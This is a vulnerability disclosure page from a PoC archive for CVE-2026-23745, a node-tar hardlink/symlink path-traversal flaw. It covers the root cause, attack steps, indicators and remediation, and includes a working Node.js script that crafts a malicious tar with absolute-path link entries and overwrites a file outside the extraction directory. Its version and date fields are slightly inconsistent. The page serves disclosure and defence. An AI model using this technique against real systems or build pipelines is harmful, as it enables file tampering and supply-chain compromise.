PoC Archive PoC Archive
High CVE-2026-23745 / GHSA-8qq5-rm4j-mr97 patched

node-tar Hardlink/Symlink Path Traversal Arbitrary File Overwrite (CVE-2026-23745)

by Joshua van Rijswijk (Jvr2022) · 2026-07-05

Severity
High
CVE
CVE-2026-23745 / GHSA-8qq5-rm4j-mr97
Category
misc
Affected product
node-tar (npm package tar)
Affected versions
< 7.5.2 (patched in 7.5.3)
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-01
Author / ResearcherJoshua van Rijswijk (Jvr2022)
CVE / AdvisoryCVE-2026-23745 / GHSA-8qq5-rm4j-mr97
Categorymisc
SeverityHigh
CVSS ScoreNot specified in source
StatusPoC
Tagsnode-tar, path-traversal, arbitrary-file-overwrite, hardlink, symlink, supply-chain, nodejs, tar-archive
RelatedN/A

Affected Target

FieldValue
Software / Systemnode-tar (npm package tar)
Versions Affected< 7.5.2 (patched in 7.5.3)
Language / PlatformJavaScript / Node.js
Authentication RequiredNo
Network Access RequiredNo

Summary

node-tar fails to sanitize absolute paths supplied in the linkpath field of hardlink and symlink tar entries. In src/unpack.ts, the library resolves the link target with path.resolve(this.cwd, String(entry.linkpath)), but path.resolve() ignores the base cwd argument whenever the second argument is itself an absolute path. This means a maliciously crafted tar archive can specify an absolute linkpath (e.g. /etc/passwd or an arbitrary file inside the extraction consumer’s project) and node-tar will create a link pointing outside the intended extraction directory — even when the caller has set preservePaths: false expecting containment. The included PoC builds such a malicious archive, extracts it, and confirms it can overwrite an arbitrary file’s contents through the created link.


Vulnerability Details

Root Cause

path.resolve(this.cwd, entry.linkpath) in node-tar’s unpack logic ignores the extraction root whenever linkpath is an absolute path, so hardlink/symlink entries are not confined to the intended output directory regardless of the preservePaths setting.

Attack Vector

  1. Attacker crafts a tar archive containing a Link (hardlink) entry whose linkpath is an absolute path to a target file, plus a SymbolicLink entry pointing to a sensitive system path.
  2. Victim application extracts the archive using a vulnerable node-tar version with preservePaths: false (the “safe” default).
  3. node-tar resolves the absolute linkpath values literally instead of confining them under the extraction directory.
  4. The attacker (or a subsequent write through the extracted link) overwrites the arbitrary target file’s contents.

Impact

Arbitrary file overwrite outside the intended extraction directory, which can lead to configuration tampering, dependency/code poisoning, or further compromise depending on which file is overwritten.


Environment / Lab Setup

Target:   node-tar (tar npm package) < 7.5.2
Attacker: Node.js runtime, `npm install tar@7.5.2`

Proof of Concept

PoC Script

See poc.js in this folder.

1
2
npm install tar@7.5.2
node poc.js

The script builds a malicious tar archive containing an absolute-path hardlink and symlink entry, extracts it with preservePaths: false, and then writes through the extracted hardlink to confirm that a file outside the extraction directory (secret.txt) gets overwritten — printing VULN CONFIRMED on success.


Detection & Indicators of Compromise

Signs of compromise:

  • Files modified or replaced shortly after a tar archive extraction step, especially outside the expected output directory.
  • Tar archives containing Link/SymbolicLink entries with absolute linkpath values.
  • Unexpected symlinks/hardlinks appearing in extraction output directories pointing to system or application-sensitive paths.

Remediation

ActionDetail
Primary fixUpgrade to node-tar 7.5.3 or later, which adds stripAbsolutePath() to sanitize link targets before resolution
Interim mitigationAvoid extracting untrusted tar archives; if unavoidable, extract in an isolated/sandboxed filesystem and validate archive entries before extraction

References


Notes

Mirrored from https://github.com/Jvr2022/CVE-2026-23745 on 2026-07-05.

poc.js
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
const fs = require('fs')
const path = require('path')
const tar = require('tar')

const OUT_DIR = path.resolve('out_repro')
const SECRET = path.resolve('secret.txt')
const TAR_FILE = path.resolve('exploit.tar')
const TARGET_SYM = '/etc/passwd'

// Cleanup & Setup
try { 
  fs.rmSync(OUT_DIR, { recursive: true, force: true })
  if (fs.existsSync(SECRET)) fs.unlinkSync(SECRET)
} catch(e) {}

fs.mkdirSync(OUT_DIR, { recursive: true })
fs.writeFileSync(SECRET, 'ORIGINAL_DATA')

console.log(`[+] Target: ${SECRET}`)

// Payload 1: Hardlink with absolute path (Bypasses root)
const h1 = new tar.Header({
  path: 'exploit_hard',
  type: 'Link',
  size: 0,
  linkpath: SECRET 
})
h1.encode()

// Payload 2: Symlink to absolute system path
const h2 = new tar.Header({
  path: 'exploit_sym',
  type: 'SymbolicLink',
  size: 0,
  linkpath: TARGET_SYM 
})
h2.encode()

// Generate archive
const data = Buffer.concat([ h1.block, h2.block, Buffer.alloc(1024) ])
fs.writeFileSync(TAR_FILE, data)
console.log(`[+] Created malicious archive: ${TAR_FILE}`)

// Trigger extraction
console.log('[*] Extracting...')

tar.x({
  cwd: OUT_DIR,
  file: TAR_FILE,
  preservePaths: false 
}).then(() => {
  // Verification
  try {
    const linkPath = path.join(OUT_DIR, 'exploit_hard')
    
    // Attempt overwrite via the extracted link
    fs.writeFileSync(linkPath, 'VULN_CONFIRMED')
    
    if (fs.readFileSync(SECRET, 'utf8') === 'VULN_CONFIRMED') {
        console.log('[!] VULNERABLE: Arbitrary file overwrite successful.')
    } else {
        console.log('[-] Failed: File not overwritten (Patched?).')
    }
  } catch (e) {
    console.log('[-] Error during verification:', e.message)
  }
})